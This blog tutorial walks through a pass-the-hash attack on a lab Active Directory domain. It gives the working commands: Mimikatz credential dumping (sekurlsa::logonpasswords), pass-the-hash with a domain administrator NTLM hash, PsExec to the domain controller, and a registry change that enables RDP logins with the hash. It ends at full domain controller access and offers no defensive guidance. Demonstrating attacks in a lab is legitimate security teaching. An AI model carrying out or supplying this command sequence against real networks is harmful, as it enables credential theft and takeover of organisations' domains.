Foreword

In this blog entry, I would like to briefly show you a simple example of a pass-the-hash attack.

Let’s begin

We still use the User “alice.bob” in this example.

The user is merely a domain user without any special AD group membership.

The user “alice.bob” has local administrator rights on the workstation on which the user is created.

These rights are generally required for such an attack.

In this example, I have simply added the user to the group manually. In the real world, you would have the following options:

• Unfortunately, many companies still do not pay attention to security, or have outdated software, which is why normal domain users have local administrator rights. Unfortunately, I have seen this far too often in my career as an IT service provider. For this reason, this option is not as unlikely as you might think (unfortunately)

• The other option would be to find a vulnerability on the system (unpatched programs, etc.) and thus exploit a privilege escalation

Overview of the User in Active Directory:

Group membership of the User in Active Directory:

Members of the local Administrators group:

We are now logged on to the test workstation with the user “alice.bob”.

To show that the user has no other rights, I test a login via RDP to the DC.

The c$ share is also not available.

I am also trying to open a Poweshell session to the DC. However, this also does not work due to missing rights.

Here is an overview of the groups in which the user “alice.bob” is a member.

In this example, I will use Mimikatz for the attack. Be careful when downloading and be sure to download Mimikatz from the official Github site. There are many fakes with possible malware.

Let’s start Mimikatz.

I will enter the following command to log everything. I use the following command to log all output from Mimikatz in a TXT file. The TXT is created in the directory from which Mimikatz was started.

1

log demo-passthehash.log

After that, I will elevate my privileges using the following command.

1

privilege::debug

Now I will use the following command to display the stored user login informations.

1

sekurlsa::logonpasswords

We can find an entry for the domain administrator. The corresponding NTLM hash is displayed. Copy it.

We can now use the following command for a pass the hash attack.

1

sekurlsa::pth /user:Administrator /domain:demo.nobrac.ch /ntlm:f60d4512e66a84cd00127a50a1d26c79

We can see the following output. In addition, a new CMD window will open.

New CMD window.

If we now check the user, we see that we are still the user “alice.bob”.

However, if we now try to access the c$ release of the domain controller, it works.

We can now use the “PsExec” tool to connect remotely to the domain controller. PsExec is not built into the operating system and can easily be downloaded directly from Microsoft.

1

PsExec.exe \\10.101.199.10 cmd.exe

We can then simply switch to Powershell. We can then set a registry entry so that we can connect via RDP.

1

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD

We now perform another Pass the Hash attack and also start RDP with the “restrictedadmin” flag.

1

sekurlsa::pth /user:Administrator /domain:demo.nobrac.ch /ntlm:f60d4512e66a84cd00127a50a1d26c79 /run:"mstsc.exe /restrictedadmin"

We see the following output and an RDP window also opens. If we now enter the host (in my case DEMO-DC), the user is entered automatically.

We accept the certificate warning.

We were able to successfully log in to the domain controller via RDP.